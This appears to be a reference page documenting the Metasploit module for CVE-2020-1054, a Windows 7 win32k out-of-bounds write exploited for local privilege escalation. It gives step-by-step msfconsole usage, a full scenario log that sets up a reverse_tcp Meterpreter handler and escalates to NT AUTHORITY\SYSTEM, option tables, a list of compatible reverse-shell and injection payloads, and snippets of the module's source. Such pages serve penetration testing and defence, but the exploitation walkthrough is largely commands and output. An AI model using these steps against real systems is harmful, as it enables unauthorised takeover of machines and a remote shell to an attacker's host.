Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation - Metasploit

This page contains detailed information about how to use the exploit/windows/local/cve_2020_1054_drawiconex_lpe metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation
Module: exploit/windows/local/cve_2020_1054_drawiconex_lpe
Source code: modules/exploits/windows/local/cve_2020_1054_drawiconex_lpe.rb
Disclosure date: 2020-02-20
Last modification time: 2021-08-27 17:15:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2020-1054

This module exploits CVE-2020-1054, an out of bounds write reachable from DrawIconEx within win32k. The out of bounds write can be used to overwrite the pvbits of a SURFOBJ. By utilizing this vulnerability to execute controlled writes to kernel memory, an attacker can gain arbitrary code execution as the SYSTEM user. This module has been tested against a fully updated Windows 7 x64 SP1. Offsets within the exploit code may need to be adjusted to work with other versions of Windows.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

crash-os-restarts: Module may crash the OS, but the OS restarts.

Side Effects:

ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).

Basic Usage

Note: To run a local exploit, make sure you are at the msf prompt. Also, to check the session ID, use the sessions command.

msf > use exploit/windows/local/cve_2020_1054_drawiconex_lpe
msf exploit(cve_2020_1054_drawiconex_lpe) > show targets
    ... a list of targets ...
msf exploit(cve_2020_1054_drawiconex_lpe) > set TARGET target-id
msf exploit(cve_2020_1054_drawiconex_lpe) > show options
    ... show and set options ...
msf exploit(cve_2020_1054_drawiconex_lpe) > set SESSION session-id
msf exploit(cve_2020_1054_drawiconex_lpe) > exploit

Required Options

SESSION: The session to run this module on.

Knowledge Base

Vulnerable Application

This module has been tested against a fully updated Windows 7 x64 SP1. Offsets within the exploit code may need to be adjusted to work with other versions of Windows.

Verification Steps

Get a non-SYSTEM meterpreter session on Windows 7 SP1 x64
use exploit/windows/local/cve_2020_1054_drawiconex_lpe
set session <session>
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LHOST>
set LPORT 5555
exploit
Get a SYSTEM session

Scenarios

Windows 7 SP1 x64 with win32k.sys Version 6.1.7601.24542

$ msfconsole -qx "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.13.37; set lport 4444; set ExitOnSession false; run -j"
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
lhost => 192.168.13.37
lport => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.13.37:4444
msf6 exploit(multi/handler) > [*] Sending stage (200262 bytes) to 192.168.13.106
[*] Meterpreter session 1 opened (192.168.13.37:4444 -> 192.168.13.106:49216) at 2020-11-26 13:56:39 +0000

msf6 exploit(multi/handler) > use exploit/windows/local/cve_2020_1054_drawiconex_lpe
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set LHOST 192.168.13.37
LHOST => 192.168.13.37
msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set LPORT 5555
LPORT => 5555
msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > run

[*] Started reverse TCP handler on 192.168.13.37:5555
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Launching notepad.exe to host the exploit...
[+] Process 1028 launched.
[*] Injecting exploit into 1028 ...
[*] Exploit injected. Injecting payload into 1028...
[*] Payload injected. Executing exploit...
[*] Sending stage (200262 bytes) to 192.168.13.106
[*] Meterpreter session 2 opened (192.168.13.37:5555 -> 192.168.13.106:49217) at 2020-11-26 13:57:08 +0000

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Go back to menu.

Msfconsole Usage

Here is how the windows/local/cve_2020_1054_drawiconex_lpe exploit module looks in the msfconsole:

msf6 > use exploit/windows/local/cve_2020_1054_drawiconex_lpe

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > show info

       Name: Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation
     Module: exploit/windows/local/cve_2020_1054_drawiconex_lpe
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2020-02-20

Provided by:
  Netanel Ben-Simon
  Yoav Alon
  bee13oy
  timwr

Module stability:
 crash-os-restarts

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Windows 7 x64

Check supported:
  Yes

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  PROCESS  notepad.exe      yes       Name of process to spawn and inject dll into.
  SESSION                   yes       The session to run this module on.

Payload information:

Description:
  This module exploits CVE-2020-1054, an out of bounds write reachable 
  from DrawIconEx within win32k. The out of bounds write can be used 
  to overwrite the pvbits of a SURFOBJ. By utilizing this 
  vulnerability to execute controlled writes to kernel memory, an 
  attacker can gain arbitrary code execution as the SYSTEM user. This 
  module has been tested against a fully updated Windows 7 x64 SP1. 
  Offsets within the exploit code may need to be adjusted to work with 
  other versions of Windows.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-1054
  https://cpr-zero.checkpoint.com/vulns/cprid-2153/
  https://0xeb-bp.com/blog/2020/06/15/cve-2020-1054-analysis.html
  https://github.com/DreamoneOnly/2020-1054/blob/master/x64_src/main.cpp
  https://github.com/KaLendsi/CVE-2020-1054/blob/master/CVE-2020-1054/exploit.cpp
  https://github.com/Iamgublin/CVE-2020-1054/blob/master/ConsoleApplication4.cpp

Module Options

This is a complete list of options available in the windows/local/cve_2020_1054_drawiconex_lpe exploit:

msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > show options

Module options (exploit/windows/local/cve_2020_1054_drawiconex_lpe):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   PROCESS  notepad.exe      yes       Name of process to spawn and inject dll into.
   SESSION                   yes       The session to run this module on.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows 7 x64

Advanced Options

Here is a complete list of advanced options supported by the windows/local/cve_2020_1054_drawiconex_lpe exploit:

msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > show advanced

Module advanced options (exploit/windows/local/cve_2020_1054_drawiconex_lpe):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoCheck               true             no        Run check before exploit
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EXE::Custom                              no        Use custom exe instead of automatically generating a payload exe
   EXE::EICAR              false            no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false            no        Use the default template in case the specified one is missing
   EXE::Inject             false            no        Set to preserve the original EXE function
   EXE::OldMethod          false            no        Set to use the substitution EXE generation method.
   EXE::Path                                no        The directory in which to look for the executable template
   EXE::Template                            no        The executable template file name.
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ForceExploit            false            no        Override check result
   MSI::Custom                              no        Use custom msi instead of automatically generating a payload msi
   MSI::EICAR              false            no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                no        The directory in which to look for the msi template
   MSI::Template                            no        The msi template file name
   MSI::UAC                false            no        Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                30               no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/local/cve_2020_1054_drawiconex_lpe module can exploit:

msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 7 x64

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/local/cve_2020_1054_drawiconex_lpe exploit:

msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   21  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   22  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   25  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   26  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   27  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   28  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   29  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   30  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   31  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   32  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   33  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   34  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   35  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   36  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   37  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   38  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   39  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   40  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   41  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   42  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   43  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   44  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   45  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   46  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   47  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   48  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   49  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   50  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   51  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   52  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   53  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   54  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   55  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   56  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   57  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   58  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   59  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   60  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   61  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   62  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

Here is the full list of possible evasion options supported by the windows/local/cve_2020_1054_drawiconex_lpe exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/local/cve_2020_1054_drawiconex_lpe) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

No target for win32k.sys version <BUILD_NUM_GEMVERSION>
Session is already elevated
Running against 32-bit systems is not supported

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No target for win32k.sys version <BUILD_NUM_GEMVERSION>

Here is a relevant code snippet related to the "No target for win32k.sys version <BUILD_NUM_GEMVERSION>" error message:

89:	    elsif (build_num_gemversion >= Rex::Version.new('6.1.7600.0')) && (build_num_gemversion < Rex::Version.new('6.1.7601.24553')) # Windows 7 SP1 with patches
90:	      @xleft_offset = 0x8c0
91:	      @oob_offset = 0x240
92:	      return CheckCode::Appears
93:	    else
94:	      return CheckCode::Safe("No target for win32k.sys version #{build_num_gemversion}")
95:	    end
96:	  end
97:	
98:	  def exploit
99:	    if is_system?

Session is already elevated

Here is a relevant code snippet related to the "Session is already elevated" error message:

95:	    end
96:	  end
97:	
98:	  def exploit
99:	    if is_system?
100:	      fail_with(Failure::None, 'Session is already elevated')
101:	    end
102:	
103:	    if sysinfo['Architecture'] != ARCH_X64
104:	      fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
105:	    end

Running against 32-bit systems is not supported

Here is a relevant code snippet related to the "Running against 32-bit systems is not supported" error message:

99:	    if is_system?
100:	      fail_with(Failure::None, 'Session is already elevated')
101:	    end
102:	
103:	    if sysinfo['Architecture'] != ARCH_X64
104:	      fail_with(Failure::NoTarget, 'Running against 32-bit systems is not supported')
105:	    end
106:	
107:	    # invoke the exploit, passing in the address of the payload that
108:	    # we want invoked on successful exploitation.
109:	    print_status('Executing exploit...')

Go back to menu.

References

Authors

Netanel Ben-Simon
Yoav Alon
bee13oy
timwr

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.

Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Windows 7 SP1 x64 with win32k.sys Version 6.1.7601.24542

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

No target for win32k.sys version <BUILD_NUM_GEMVERSION>

Session is already elevated

Running against 32-bit systems is not supported

References

See Also

Authors

Version

Nessus Plugin Library

Solving Problems with Office 365 Email from GoDaddy

Empire Module Library

CrackMapExec Module Library

Metasploit Android Modules

Top 16 Active Directory Vulnerabilities

Top 10 Vulnerabilities: Internal Infrastructure Pentest

Terminal Escape Injection

Cisco Password Cracking and Decrypting Guide

Capture Passwords using Wireshark

SSH Brute Force Attack Tool using PuTTY / Plink (ssh-putty-brute.ps1)

SMB Brute Force Attack Tool in PowerShell (SMBLogin.ps1)

Port Scanner in PowerShell (TCP/UDP)

Nessus CSV Parser and Extractor

Default Password Scanner (default-http-login-hunter.sh)

Microsoft Windows DrawIconEx OOB Write Local Privilege Elevation - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Verification Steps

Scenarios

Windows 7 SP1 x64 with win32k.sys Version 6.1.7601.24542

Msfconsole Usage

Module Options

Advanced Options

Exploit Targets

Compatible Payloads

Evasion Options

Error Messages

No target for win32k.sys version <BUILD_NUM_GEMVERSION>

Session is already elevated

Running against 32-bit systems is not supported

Related Pull Requests

References

See Also

Authors

Version